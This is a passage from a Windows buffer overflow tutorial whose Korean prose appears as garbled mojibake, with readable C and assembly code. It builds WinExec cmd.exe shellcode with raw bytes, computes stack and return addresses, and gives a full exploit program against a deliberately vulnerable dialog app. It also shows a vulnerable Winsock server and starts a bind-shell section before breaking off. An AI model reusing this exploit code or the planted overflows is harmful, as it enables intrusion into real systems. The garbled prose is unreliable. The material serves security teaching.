Windows ȯ°æ¿¡¼­ÀÇ Buffer Overflow °ø°Ý ±â¹ý


==== :: ¸ñÂ÷ :: ==============================================

1. µé¾î°¡¸é¼­

2. ·ÎÄà Buffer Overflow - Ãë¾à ÇÁ·Î±×·¥ ¿¹Á¦

3. ·ÎÄà Buffer Overflow - ·ÎÄà °ø°ÝÀ» À§ÇÑ ½© ÄÚµå ±¸Çö

4. ·ÎÄà Buffer Overflow - Shellcode¿Í Return AddressÀÇ À§Ä¡ ã±â

5. ·ÎÄà Buffer Overflow - °ø°Ý Å×½ºÆ®

6. ¸®¸ðÆ® Buffer Overflow - Ãë¾à ÇÁ·Î±×·¥ ¿¹Á¦

7. ¸®¸ðÆ® Buffer Overflow - ¸®¸ðÆ® °ø°ÝÀ» À§ÇÑ ½© ÄÚµå ±¸Çö (Bind Shellcode)

8. ¸®¸ðÆ® Buffer Overflow - Shellcode¿Í Return AddressÀÇ À§Ä¡ ã±â

9. ¸®¸ðÆ® Buffer Overflow - °ø°Ý Å×½ºÆ®

10. Âü°í ¹®¼­

=========================================================


1. µé¾î°¡¸é¼­

ÀÌ ¹®¼­´Â Å©°Ô µÎ ºÎºÐÀ¸·Î ³ª´µ¾î Áø´Ù. ¸ÕÀú, ·ÎÄà ȯ°æ¿¡¼­ÀÇ Buffer Overflow¸¦ ¹è¿öº½À¸·Î½á,

¸®´ª½º ȯ°æ¿¡¼­ÀÇ Buffer Overflow°úÁ¤°ú ±×´ÙÁö Å« Â÷ÀÌ°¡ ¾ø´Ù´Â »ç½ÇÀ» ÀνÄÇÑ´Ù. ±× ´ÙÀ½¿£

º»°ÝÀûÀ¸·Î ¸®¸ðÆ® ȯ°æ¿¡¼­ÀÇ Buffer Overflow¸¦ ¹è¿öº¼ °ÍÀ̸ç, ¿ª½Ã ¸®´ª½º ȯ°æ¿¡¼­ÀÇ °ø°Ý °úÁ¤°ú

Å« ¸Æ¶ôÀº °°Áö¸¸, ½©À» ¶ç¿ì±â À§ÇÑ Bind Shellcode ±¸Çö °úÁ¤¿¡ Å« Â÷ÀÌ°¡ Á¸ÀçÇÔÀ» ¾Ë°í,

ÀÌ ³»¿ëÀ» ÁßÁ¡ÀûÀ¸·Î ´Ù·ç¾îº¸µµ·Ï ÇÏ°Ú´Ù.


2. ·ÎÄà Buffer Overflow - Ãë¾à ÇÁ·Î±×·¥ ¿¹Á¦

´ÙÀ½Àº WINAPI ¾ð¾î·Î ÀÛ¼ºµÇ¾úÀ¸¸ç, ´Ü¼øÈ÷ »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ¹Þ¾Æ Popup Window·Î Ãâ·ÂÇÏ´Â ÇÁ·Î±×·¥ÀÌ´Ù.

==== ¼Ò½º ÄÚµå : test1.cpp =======================================

#include <windows.h>

#include "resource.h"


BOOL CALLBACK DlgProc(HWND hDlg, UINT iMsg, WPARAM wParam, LPARAM lParam)

{

        char Message[128];

        char Buffer[256];


        switch(iMsg)

        {

        case WM_COMMAND:

                switch(wParam)

                {

                case IDOK:

                        GetWindowText(GetDlgItem(hDlg, IDC_EDIT1), Buffer, 256);

                        wsprintf(Message, "´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : %s", Buffer);

                        MessageBox(hDlg, Message, "¾Ë¸²", MB_OK);

                        break;

                case IDEND:

                        EndDialog(hDlg, 0);

                        break;

                }

                break;

        }

        return 0;

}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        DialogBox(hInstance, MAKEINTRESOURCE(IDD_DIALOG1), HWND_DESKTOP, DlgProc);

        return 0;

}

==========================================================

==========================================================

[½ÇÇà ¿¹Á¦]


==========================================================


À§ ¼Ò½ºÄڵ忡¼­ º¼ ¼ö ÀÖµíÀÌ Buffer º¯¼ö¿¡ ´ãÀ» ¼ö ÀÖ´Â ÃÖ´ë °ªÀº 256¹ÙÀÌÆ®ÀÌÁö¸¸, Message º¯¼öÀÇ

Å©±â´Â 128¹ÙÀÌÆ®¿¡ ºÒ°úÇÏ´Ù. µû¶ó¼­, »ç¿ëÀÚ°¡ ´ë·« 128¹ÙÀÌÆ® ÀÌ»óÀÇ ¹®ÀÚ¿­À» ÀÔ·ÂÇÒ °æ¿ì wsprintf()

ÇÔ¼ö´Â Message º¯¼ö¸¦ Áö³ª SFP¿Í RET Address¸¦ µ¤¾î¾²°Ô µÉ °ÍÀÌ´Ù. È®ÀÎÇØ º¸ÀÚ.



ÀÌó·³ ¸®´ª½º¿¡¼­ÀÇ Segmentation Fault¿¡ ÇØ´çÇÏ´Â ¿¡·¯ ¸Þ½ÃÁö âÀÌ ³ªÅ¸³¯ °ÍÀÌ´Ù.

ÀÚ, ±×·³ ÀÌÁ¦ ÀÌ Ãë¾à ÇÁ·Î±×·¥À» ¾î¶»°Ô °ø·«ÇØ ³ª°¥Áö °¡»ó ½Ã³ª¸®¿À¸¦ ±¸»óÇØ º¸µµ·Ï ÇÏÀÚ.


1) ½©ÄÚµå Á¦ÀÛ

2) Ret Address¿¡ ½©ÄÚµåÀÇ ½ÃÀÛ À§Ä¡ ÁöÁ¤

3) ÅؽºÆ® ÀÔ·Â Æû¿¡ À§ ¹®ÀÚ¿­ ÀÔ·Â

4) Buffer º¯¼ö¿£ ½©ÄÚµå¿Í º¯Á¶µÉ Ret Address°¡ ÀúÀåµÊ

5) wsprintf() ÇÔ¼ö¿¡ ÀÇÇÏ¿© ±âÁ¸ÀÇ Ret Address°¡ ½© ÄÚµåÀÇ ½ÃÀÛ ÁÖ¼Ò·Î º¯Á¶ µÊ

6) ½©ÄÚµå ½ÇÇà

7) °ø°Ý ¿Ï·á


¸ÕÀú ½©Äڵ带 Á¦ÀÛÇØ º¸ÀÚ.


3. ·ÎÄà Buffer Overflow - ·ÎÄà °ø°ÝÀ» À§ÇÑ ½© ÄÚµå ±¸Çö


Return to Library Å×Å©´ÐÀ» ÀÌ¿ëÇÏ¿© cmd.exe¸¦ ½ÇÇàÇÏ´Â ½©Äڵ带 ¸¸µé¾î º¸°Ú´Ù.

POSIX CÀÇ system() ÇÔ¼ö¿Í µ¿ÀÏÇÑ WINAPI ÇÔ¼ö·Î´Â WinExec() °¡ ÀÖÀ¸¸ç, »ç¿ë ¹æ¹ýÀº ´ÙÀ½°ú °°´Ù.


ex) WinExec("dir", SW_SHOWNORMAL);


À̸¦ Intel ¾î¼Àºí¸®¾î·Î Ç¥ÇöÇØ º¸ÀÚ.

push ebp

¸ÕÀú ±âÁ¸ÀÇ Base Poiner¸¦ ÀúÀåÇÑ´Ù. (Saved Frame Pointer)


mov ebp, esp

ÀÌÁ¦ ÇöÀçÀÇ Stack Pointer¸¦ »õ·Î¿î Base Pointer·Î ÁöÁ¤ÇÑ´Ù.


xor edi, edi

push edi

NULL·Î ±¸¼ºµÈ 4¹ÙÀÌÆ® °ªÀ» »ý¼ºÇÏ¿© ½ºÅÿ¡ ³Ö´Â´Ù.


mov byte ptr[ebp-04h], 'c'

mov byte ptr[ebp-03h], 'm'

mov byte ptr[ebp-02h], 'd'

¹æ±Ý ½ºÅÿ¡ ³ÖÀº 0000À» cmd0À¸·Î ¹Ù²Ù¾ú´Ù.


push edi

mov byte ptr[ebp-08h], 03h

ÀÌÁ¦ WinExecÀÇ µÎ ¹ø° ÀÎÀÚÀÎ SW_SHOWNORMAL(3)À» ½ºÅÿ¡ ³Ö´Â´Ù.


lea eax, [ebp-04h]

push eax

ÀÌÁ¦ WinExecÀÇ Ã¹ ¹ø° ÀÎÀÚÀÎ "cmd\0" ¹®ÀÚ¿­ÀÇ ½ÃÀÛ ÁÖ¼Ò¸¦ ³Ö´Â´Ù.


mov eax, 0x77e7733c

call eax

¸¶Áö¸·À¸·Î WinExec() ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù. WinExec() ÇÔ¼öÀÇ ÁÖ¼Ò´Â °¢ ½Ã½ºÅÛ¸¶´Ù ´Ù¸¦ ¼ö ÀÖÀ¸¸ç,

À̸¦ ã¾Æ³»´Â ¹æ¹ýÀº ´ÙÀ½°ú °°´Ù.


¸ÕÀú, c:\winnt\system32\ µð·ºÅ丮·Î À̵¿ÇÑ ÈÄ, ´ÙÀ½ ¸í·ÉÀ» ÀÔ·ÂÇÑ´Ù.
dumpbin /headers kernel32.dll | find "image base"

77E50000 image base

±×·³ image base (¸Þ¸ð¸®¿¡ ÀûÀçµÈ DLLÀÇ ½ÃÀÛ ÁÖ¼Ò) ¶ó´Â À̸§ÀÇ °ªÀ» ãÀ» ¼ö ÀÖÀ» °ÍÀε¥ ÀÌ °ªÀ» Àû¾î ³õ´Â´Ù.
³ªÀÇ ½Ã½ºÅÛ¿¡¼± 77E50000À̾ú´Ù.

ÀÌÁ¦ ´ÙÀ½ ¸í·ÉÀ» ÀÔ·ÂÇÏ¿© WinExecÀÇ export Á¤º¸¸¦ Ãâ·Â½ÃŲ´Ù.
dumpbin /exports kernel32.dll | find "WinExec"

896 37F 002733C WinExec

º¸ÀÌ´Â °ªµé Áß¿¡ ¼¼ ¹øÀç¿¡ ÇØ´çÇÏ´Â RVA °ªÀ» Àû´Â´Ù. RVA °ªÀ̶õ, Relate Virtual AddressÀÇ ¾àÀڷμ­, »ó´ë ÁÖ¼Ò¶ó´Â ÀǹÌÀÌ´Ù.

¿ì¸®°¡ Àß ¾Ë°í ÀÖ´Â Offset°ú ºñ½ÁÇÑ °³³äÀ̶ó°í º¼ ¼ö ÀÖ´Ù. ³ªÀÇ ½Ã½ºÅÛ¿¡¼± ÀÌ °ªÀÌ 0002733C ¿´´Ù.

ÀÌÁ¦ ¾Õ¼­ ÀûÀº Imagebase °ª°ú RVA °ªÀ» ´õÇÑ´Ù.
(Âü°í·Î dumpbin.exe´Â Visual Studio¸¦ ¼³Ä¡Çϸé vc98\bin Æú´õ¿¡ »ý¼ºµÈ´Ù.)


0x77e7733c(Winexec ÇÔ¼öÀÇ ÁÖ¼Ò) = 77E50000(Imagebase) + 0002733C(RVA)


ÀÌÁ¦ À§ ¾î¼Àºí¸®¾î Äڵ带 ÄÄÆÄÀÏ Çϱâ À§ÇØ ´ÙÀ½°ú °°ÀÌ WINAPI Äڵ忡 ÀζóÀÎ ¾î¼Àºí¸®¾î·Î Ãß°¡ÇÑ´Ù.


==========================================================

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        __asm{

                push ebp

                mov ebp, esp

                xor edi, edi

                push edi

                mov byte ptr[ebp-04h], 'c'

                mov byte ptr[ebp-03h], 'm'

                mov byte ptr[ebp-02h], 'd'

                push edi

                mov byte ptr[ebp-08h], 03h

                lea eax, [ebp-04h]

                push eax

                mov eax, 0x77e7733c

                call eax

        }

        return 0;

}

==========================================================


ÀÌÁ¦ ÀÌ°ÍÀ» ÄÄÆÄÀÏÇÏ¿© cmd°¡ ½ÇÇàµÇ´Â °ÍÀ» È®ÀÎÇÏÀÚ.


½ÇÇàµÈ ÈÄ¿¡´Â ½ºÅà Æ÷ÀÎÅÍ º¯°æÀ¸·Î ÀÎÇÑ ¿¡·¯°¡ Ãâ·ÂµÉ °ÍÀÌ´Ù. ÄÄÆÄÀÏµÈ ¹ÙÀ̳ʸ®ÀÇ ÄÚµå ¿µ¿ªÀ»

Disassemble Çغ¸¸é, ½ºÅà Æ÷ÀÎÅÍÀÇ °ªÀÌ º¯Á¶µÇ¾ú´ÂÁö¸¦ °Ë»çÇÏ´Â chkesp¶ó´Â ÇÔ¼ö°¡ È£ÃâµÇ´Â

·çƾÀÌ ÀÚµ¿À¸·Î Ãß°¡µÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ¾Õ¼­ ¿ì¸®°¡ º¯¼ö ÂüÁ¶¸¦ À§ÇØ ½ºÅà Æ÷ÀÎÅÍÀÇ °ªÀ» ÀÓÀÇ·Î

º¯°æÇÏ¿´±â ¶§¹®¿¡ ÀÌ chkesp °Ë»ç¿¡ °É¸° °ÍÀÌ´Ù. ÀÌ´Â ¹«½ÃÇصµ »ó°ü¾øÁö¸¸, ¿¡·¯ ¾ø´Â ±ò²ûÇÑ Ã³¸®¸¦

À§ÇÏ¿© pop ¸í·ÉÀ¸·Î ½ºÅÿ¡ ÀÓÀÇ·Î Áý¾î³Ö¾ú´ø µÎ °ªÀ» ²¨³»¼­ ½ºÅà Æ÷ÀÎÅÍ °ªÀ» º¹¿ø½ÃÅ°ÀÚ.

(ÇÔ¼öÀÇ ÀÎÀÚ·Î Àü´ÞµÈ µÎ °³ÀÇ °ªÀº ¸®´ª½º¿Í´Â ´Þ¸® ÇÔ¼ö ³»ºÎ¿¡¼­ ÇØÁ¦½ÃŲ´Ù. ÀÌ´Â ÆĽºÄ® ¹æ½ÄÀÇ Æ¯Â¡À̸ç,

À©µµ¿ì´Â ÀÌ ÆĽºÄ® ¹æ½ÄÀ¸·Î ÇÔ¼ö¸¦ ´Ù·é´Ù.)


==========================================================

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        __asm{

                ... »ý·« ...

                pop eax

                pop ebp // ¿ø·¡ÀÇ ebp·Î º¹¿ø

        }

        return 0;

}

==========================================================


ÀÌÁ¦ OLLYDBG µîÀ¸·Î À§ ÇÁ·Î±×·¥À» ·ÎµùÇÏ¿© ±â°è¾î Äڵ带 È®ÀÎÇÑ´Ù.


¸¶Áö¸·À¸·Î À§ ¼±Åà ¿µ¿ªµÈ ºÎºÐ¿¡ ÇØ´çÇÏ´Â ±â°è¾î¸¦ ÂÞ¿í À̾îÁÖ¸é ½©ÄÚµå´Â ¿Ï¼ºµÈ´Ù.


==========================================================

\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x57\xc6\x45\xf8\x03\x8d

\x45\xfc\x50\xb8\x3c\x73\xe7\x77\xff\xd0\x58\x5d

==========================================================


4. ·ÎÄà Buffer Overflow - Shellcode¿Í Return AddressÀÇ À§Ä¡ ã±â

¹öÆÛ ¿À¹öÇ÷οì·Î ÀÎÇÏ¿© Ãë¾à ÇÁ·Î±×·¥ÀÌ Á¾·áµÉ ½ÃÁ¡ÀÇ Stack Pointer ÁÖ¼Ò¸¦ ¾È´Ù¸é ¿ì¸®ÀÇ ½©Äڵ尡

À§Ä¡ÇÏ°í ÀÖÀ» ¹öÆÛÀÇ À§Ä¡´Â ½±°Ô °è»êµÉ ¼ö ÀÖÀ» °ÍÀÌ´Ù. OllyDBG¸¦ ÀÌ¿ëÇÏ¿© ÇÁ·Î±×·¥À» ·ÎµùÇÑ ÈÄ,

¿À¹öÇ÷ο츦 À¯µµÇÑ´Ù.




Á¾·áµÇ´Â ½ÃÁ¡¿¡¼­ÀÇ ESP´Â 0x0012FBE8ÀÌ¿´´Ù. ¸®´ª½º ½Ã½ºÅÛ¿¡¼­ ½ºÅÃÀÇ À§Ä¡°¡ 0xbfxxxxxxÀÎ °Í°ú Â÷ÀÌ°¡

³ª´Â »ç½ÇÀ» ¾Ë ¼ö ÀÖ´Ù. ÀÌÁ¦ ÀÌ ÁÖ¼Ò¸¦ ±âÁØÀ¸·Î Buffer[] º¯¼öÀÇ ÁÖ¼Ò¸¦ ã¾Æº¸ÀÚ.


[Buffer(256)] [Message(128)] [SFP]
                             *ESP (0x0012FBE8)


BufferÀÇ ÁÖ¼Ò = 0x0012FBE8 - 128 - 256

=> 0x0012FA68


ÀÌ¿Í °°Àº ¹æ¹ýÀ¸·Î ½©Äڵ尡 À§Ä¡ÇÏ°í ÀÖÀ» buffer º¯¼öÀÇ ÁÖ¼Ò¸¦ ã¾Ò´Ù.

À̹ø¿£ Á¤È®ÇÑ Return AddressÀÇ À§Ä¡¸¦ ã¾Æº¸ÀÚ.

Return Address´Â À§¿¡¼­ Message º¯¼ö ³¡¿¡¼­ ¿À¸¥ÂÊ 4¹ÙÀÌÆ® ¶³¾îÁø ºÎºÐ¿¡ À§Ä¡ÇÒ °ÍÀÌ´Ù.


==========================================================

[Buffer(256)] [Message(128)] [SFP] [Ret Address]

==========================================================


±×·³, ¾î¶² ¹®ÀÚ¿­À» ³Ö¾î¾ß Á¤È®È÷ Return Address¸¦ º¯°æÇÒ ¼ö ÀÖÀ»±î?

wsprintf() ÇÔ¼ö°¡ È£ÃâµÈ ÀÌÈÄÀÇ ¸ð½ÀÀ» »ý°¢ÇØ º¸ÀÚ.


==========================================================

Message[´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : <»ç¿ëÀÚÀÇ ÀÔ·Â>] [SFP] [Ret Address]

==========================================================


À§ ¸ð½ÀÀ» º¸¸é ½±°Ô °è»êÀ» ÇÒ ¼ö ÀÖ´Ù. ¸ÕÀú ÇѱÛÀº 1ÀÚ¿¡ 2¹ÙÀÌÆ®¸¦ Â÷ÁöÇϹǷÎ, »ç¿ëÀÚÀÇ ÀÔ·Â ¹Ù·Î

Àü±îÁö Â÷ÁöÇÏ°Ô µÇ´Â ¹ÙÀÌÆ® ¼ö´Â 23ÀÌ´Ù. ±×·³ Message º¯¼öÀÇ ÃÑ ±æÀÌ°¡ 128À̹ǷÎ, 113°³ÀÇ ¹®ÀÚ¸¦

ÀÔ·ÂÇϸé Á¤È®È÷ Return Address±îÁö°¡ º¯°æµÉ °ÍÀÌ´Ù. È®ÀÎÇØ º¸ÀÚ.



¿ª½Ã Á¤È®ÇÏ°Ô XXXXºÎºÐÀÌ Return Address·Î º¯°æµÈ °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù.


5. ·ÎÄà Buffer Overflow - °ø°Ý Å×½ºÆ®

ÀÌÁ¦ ¸ðµç Áغñ´Â ¿Ï·áµÇ¾ú´Ù. ¸¶Áö¸·À¸·Î °ø°ÝÀ» ½ÃµµÇØ º¸ÀÚ. ±×·±µ¥, ÇöÀç¿Í °°ÀÌ ÅؽºÆ® Æû¿¡ °ªÀ»

ÀÔ·ÂÇؾßÇÏ´Â °æ¿ì¿£ ¾î¶»°Ô ExploitÀ» ±¸ÇöÇÒ±î? Áö±Ý±îÁö ¸®´ª½º ȯ°æ¿¡¼­ ÇØ¿Ô´ø °Íó·³ ÀÎÀÚ È¤Àº

STDINÀ¸·Î ¹®ÀÚ¿­À» ÀԷ¹޴ °Í°ú´Â »óȲÀÌ ´Ù¸£´Ù. ÀÌ °æ¿ì¿£ ´ÙÀ½°ú °°Àº ExploitÀ» ±¸»óÇÒ ¼ö ÀÖ´Ù.


°¡) Exploit ½ÇÇà

³ª) Exploit¿¡ ÀÇÇÏ¿© Ãë¾à ÇÁ·Î±×·¥ ½ÇÇà

´Ù) ÇØ´ç ÇÁ·Î±×·¥ÀÇ ÅؽºÆ® Æû¿¡ ÇØ´çÇÏ´Â Handle °ªÀ» °¡Á®¿È

¶ó) ÇØ´ç Handle¿¡ Exploit ¹®ÀÚ¿­ Àü¼Û

¸¶) Ãë¾à ÇÁ·Î±×·¥¿¡ IDOK ¸Þ½ÃÁö Àü¼Û

¹Ù) ½ÇÆÐÇÒ °æ¿ì OffsetÀ» º¯°æÇØ°¡¸ç ³ª)¿¡¼­ºÎÅÍ Àç½Ãµµ


ÀÌ·ÐÀûÀ¸·Î ÀÌ¿Í °°Àº ÀýÂ÷·Î ExploitÇÏ´Â °ÍÀÌ °¡´ÉÇÏ´Ù. ÇÏÁö¸¸, ÀÌ¿Í °°Àº ExploitÀ» ±¸ÇöÇÏ°Ô µÇ´Â

ÀÏÀº ¾øÀ» °ÍÀÌ´Ù. ¿Ö³ÄÇϸé Windows ½Ã½ºÅÛ ÇØÅ·Àº ÁÖ·Î ·ÎÄÃÀÌ ¾Æ´Ñ ¸®¸ðÆ® ȯ°æ¿¡¼­ ÀÌ·ç¾îÁö±â ¶§¹®ÀÌ´Ù.

ÀÌó·³ ·ÎÄÿ¡¼­ ½ÇÇàµÈ ÇÁ·Î±×·¥À» °ø°ÝÇÏ¿© ½©À» ȹµæÇؾßÇÒ Çʿ伺Àº °ÅÀÇ »ý±âÁö ¾Ê´Â´Ù. µû¶ó¼­,

¿©±â¿¡¼± À§ÀÇ º¹ÀâÇÑ °úÁ¤ ´ë½Å Ãë¾à ÇÁ·Î±×·¥À» ¼öÁ¤ÇÏ´Â ¹æ¹ýÀ¸·Î ExploitÇغ¸µµ·Ï ÇÏ°Ú´Ù.


==== ¼Ò½º ÄÚµå ==============================================

#include <windows.h>

#include "resource.h"


BOOL CALLBACK DlgProc(HWND hDlg, UINT iMsg, WPARAM wParam, LPARAM lParam)

{

        char Message[128];

        char Buffer[256];

        char Exploit[113];

        char ShellCode[] = "\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6"

                          "\x45\xfd\x6d\xc6\x45\xfe\x64\x57\xc6\x45\xf8"

                          "\x03\x8d\x45\xfc\x50\xb8\x3c\x73\xe7\x77\xff"

                          "\xd0\x58\x5d";

        int NewRet = 0x0012fa68;

        

        switch(iMsg)

        {

        case WM_INITDIALOG:

                memset(Exploit, 0x90, 113);

                memcpy(Exploit+30, ShellCode, strlen(ShellCode));

                memcpy(&Exploit[109], &NewRet, 4);

                SetWindowText(GetDlgItem(hDlg, IDC_EDIT1), Exploit);

                break;

        case WM_COMMAND:

                switch(wParam)

                {

                case IDOK:

                        GetWindowText(GetDlgItem(hDlg, IDC_EDIT1), Buffer, 256);

                        wsprintf(Message, "´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : %s", Buffer);

                        MessageBox(hDlg, Message, "¾Ë¸²", MB_OK);

                        break;

                case IDEND:

                        EndDialog(hDlg, 0);

                        break;

                }

                break;

        }

        return 0;

}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

                        

        DialogBox(hInstance, MAKEINTRESOURCE(IDD_DIALOG1), HWND_DESKTOP, DlgProc);

        return 0;

}

==========================================================


ÀÌÁ¦ ÀÌ ÇÁ·Î±×·¥À» ½ÇÇàÇغ¸¸é, ÀÚµ¿À¸·Î ÅؽºÆ® ÀԷ â¿¡ Exploit ¹®ÀÚ¿­ÀÌ ÁöÁ¤µÉ °ÍÀÌ´Ù.

¾ÕÀÇ Exploit ±¸Çö ½Ã³ª¸®¿À¿¡¼­ ¶ó)¿¡ ÇØ´çÇÏ´Â ÀÛ¾÷±îÁö¸¦ ÀÓÀÇ·Î ±¸ÇöÇÑ °ÍÀÌ´Ù.



À§¿Í °°Àº ¼ø¼­ÀÇ °á°ú¸¦ º¼ ¼ö ÀÖÀ¸¸ç, À§Ã³·³ ½©ÀÌ ½ÇÇàµÇ¾ú´Ù¸é °ø°Ý ¼º°øÀÌ´Ù.


Áö±Ý±îÁö ·ÎÄà ȯ°æ¿¡¼­ÀÇ Buffer Overflow °ø°ÝÀ» ÇнÀÇØ º¸¾Ò´Ù. ÇÏÁö¸¸, ¾Õ¼­ ¸»ÇßµíÀÌ ÀÌó·³ ·ÎÄÃ

ȯ°æ¿¡¼­ÀÇ Windows ½Ã½ºÅÛ ÇØÅ·Àº º° Àǹ̰¡ ¾ø´Ù. Windows´Â UNIX ½Ã½ºÅÛ°ú´Â ´Þ¸® SetuidÀÇ °³³äÀÌ

¾ø±â ¶§¹®ÀÌ´Ù.(ºñ½ÁÇÑ ´Ù¸¥ °³³äÀÌ ÀÖ´ÂÁö´Â È®½ÇÈ÷´Â ¸ð¸£°Ú´Ù.) µû¶ó¼­, ÀÚ½ÅÀÇ ÇÁ·Î±×·¥À» ÀÚ½ÅÀÌ

ÇØÅ·ÇÏ¿© ¾òÀ» ¼ö ÀÖ´Â ÀÌÁ¡Àº ¾ø´Ù°í º»´Ù. ±×·³ ÀÌÁ¦ºÎÅÍ ½ÇÁ¦ È°¿ë °¡´ÉÇÑ ¸®¸ðÆ® ȯ°æ¿¡¼­ÀÇ

Buffer Overflow¸¦ ¹è¿öº¸µµ·Ï ÇÏÀÚ.


6. ¸®¸ðÆ® Buffer Overflow - Ãë¾à ÇÁ·Î±×·¥ ¿¹Á¦

´ÙÀ½Àº ´Ü¼øÈ÷ Ŭ¶óÀ̾ðÆ®·ÎºÎÅÍ µ¥ÀÌÅ͸¦ ÇÑ ¹ø ¹Þ´Â ¿ªÇÒÀÇ ÇÁ·Î±×·¥ÀÌ´Ù. µ¥ÀÌÅÍ ÀúÀåÀ» À§ÇØ ÇÒ´çµÈ

º¯¼ö´Â 40¹ÙÀÌÆ®À̳ª, recv() ÇÔ¼ö°¡ ÃÖ´ë 1024¹ÙÀÌÆ®ÀÇ µ¥ÀÌÅ͸¦ ¹ÞÀ» ¼ö ÀÖµµ·Ï ÄÚµùµÇ¾î ÀÖÀ¸¹Ç·Î

¹öÆÛ ¿À¹öÇÃ·Î¿ì °áÇÔÀÌ ¹ß»ýÇÑ´Ù.


==========================================================

#include <windows.h>


void Error(char *str)

{

        MessageBox(HWND_DESKTOP, str, "¿¡·¯", MB_OK);

        PostQuitMessage(0);

}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        char data[40];

        int server_sockfd, client_sockfd, length;

        struct sockaddr_in server_addr, client_addr;


        // ¼ÒÄÏ ÃʱâÈ­ ½ÃÀÛ

        WSADATA wsaData;

        WORD Version;

        Version = MAKEWORD(2, 0);

        WSAStartup(Version, &wsaData);

        // ¼ÒÄÏ ÃʱâÈ­ ³¡


        server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

        if(server_sockfd < 0)

                Error("¼ÒÄÏ »ý¼º ¿¡·¯");


        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(7777);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        memset(&server_addr.sin_zero, 0, sizeof(server_addr.sin_zero));


        if(bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr))<0)

                Error("Bind ¿¡·¯");


        listen(server_sockfd, 5);


        length = sizeof(server_addr);


        MessageBox(HWND_DESKTOP, "¼­¹ö¸¦ ±¸µ¿ÇÕ´Ï´Ù.", "¾Ë¸²", MB_OK);


        client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &length);

        wsprintf(data, "Ŭ¶óÀ̾ðÆ®°¡ Á¢¼ÓÇÏ¿´½À´Ï´Ù. IP : %s", inet_ntoa(client_addr.sin_addr));

        MessageBox(HWND_DESKTOP, data, "¾Ë¸²", MB_OK);

        length = recv(client_sockfd, data, 1024, 0);

        data[length] = 0;


        MessageBox(HWND_DESKTOP, data, "¹ÞÀº ¹®ÀÚ¿­", MB_OK);


        MessageBox(HWND_DESKTOP, "¼­¹ö°¡ Á¾·áµÇ¾ú½À´Ï´Ù.", "¾Ë¸²", MB_OK);

        closesocket(server_sockfd);

        closesocket(client_sockfd);

        return 0;

}

==========================================================


´ÙÀ½Àº ÀÌ Ãë¾à ÇÁ·Î±×·¥ÀÇ ½ÇÇà ¿¹Á¦ÀÌ´Ù.


 -> ->

 -> ->

 ->


¸¸¾à 44¹ÙÀÌÆ® ÀÌ»óÀÇ µ¥ÀÌÅ͸¦ Àü¼ÛÇϸé ÇÁ·Î±×·¥Àº ´ÙÀ½°ú °°Àº ¿À·ù¿Í ÇÔ²² Á¾·áµÈ´Ù.



ÇÑ °¡Áö ƯÀÌÇÑ Á¡Àº ¸Å¿ì Å« µ¥ÀÌÅÍ(¾à 300¹ÙÀÌÆ® ÀÌ»ó, Áï ¸®ÅÏ ¾îµå·¹½º µÚ·Î 250 ¹ÙÀÌÆ® Á¤µµ ÃÊ°úµÈ ¿ë·®)¸¦

Àü¼ÛÇßÀ» °æ¿ì¿£ À§¿Í °°Àº Segmentaion Fault¸¦ ÀǹÌÇÏ´Â ¿¡·¯ ¸Þ½ÃÁö ¾øÀÌ ¹Ù·Î ¼­¹ö°¡ Á¾·áµÈ´Ù´Â Á¡ÀÌ´Ù.

È®ÀÎ °á°ú SFP¿Í Return Addressµî ½ºÅÃÀÇ °ªÀÇ º¯Á¶´Â ¼º°øÀûÀ¸·Î ÀÌ·ç¾îÁö³ª, ´ÜÁö ¿¡·¯ ¸Þ½ÃÁö¸¸ Ãâ·ÂµÇÁö

¾Ê´Â´Ù. ¾Æ¸¶µµ ¸®ÅÏ ¾îµå·¹½º µÚÂÊ¿¡ Segmentaion Fault ¿¡·¯ Ãâ·Â°ú ¿¬°üµÈ µ¥ÀÌÅÍ°¡ Àִµ¥, ±×°ÍÀ»

µ¤¾î¾²°Ô µÉ °æ¿ì ÀÌ·¯ÇÑ Çö»óÀÌ ³ªÅ¸³ª´Â °ÍÀ¸·Î ÃßÃøµÈ´Ù.



7. ¸®¸ðÆ® Buffer Overflow - ¸®¸ðÆ® °ø°ÝÀ» À§ÇÑ ½© ÄÚµå ±¸Çö (Bind Shellcode)

Bind ShellCode¶õ, ƯÁ¤ TCP Port¸¦ OpenÇÑ ÈÄ, ±×°÷À¸·Î Á¢¼ÓÇÏ´Â Client µé¿¡°Ô ½©(Shell)À» ¿¬°á½ÃÄÑÁÖ´Â

ÀÏÁ¾ÀÇ ¹éµµ¾î ÇÁ·Î±×·¥À» ¸»ÇÑ´Ù. °ø°ÝÀÚ°¡ ¾î¶² ½Ã½ºÅÛÀÇ Ãë¾àÁ¡À» ÀÌ¿ëÇÏ¿© ƯÁ¤ÇÑ ¿øÇÏ´Â Äڵ带

½ÇÇàÇÒ ¼ö ÀÖ´Â »óÅ°¡ µÇ¾úÀ» ¶§, ÀϹÝÀûÀ¸·Î ½ÇÇàÇÏ´Â °ÍÀÌ ÀÌ Bind ShellCodeÀÌ´Ù. ½©¸¸ ȹµæÇϸé

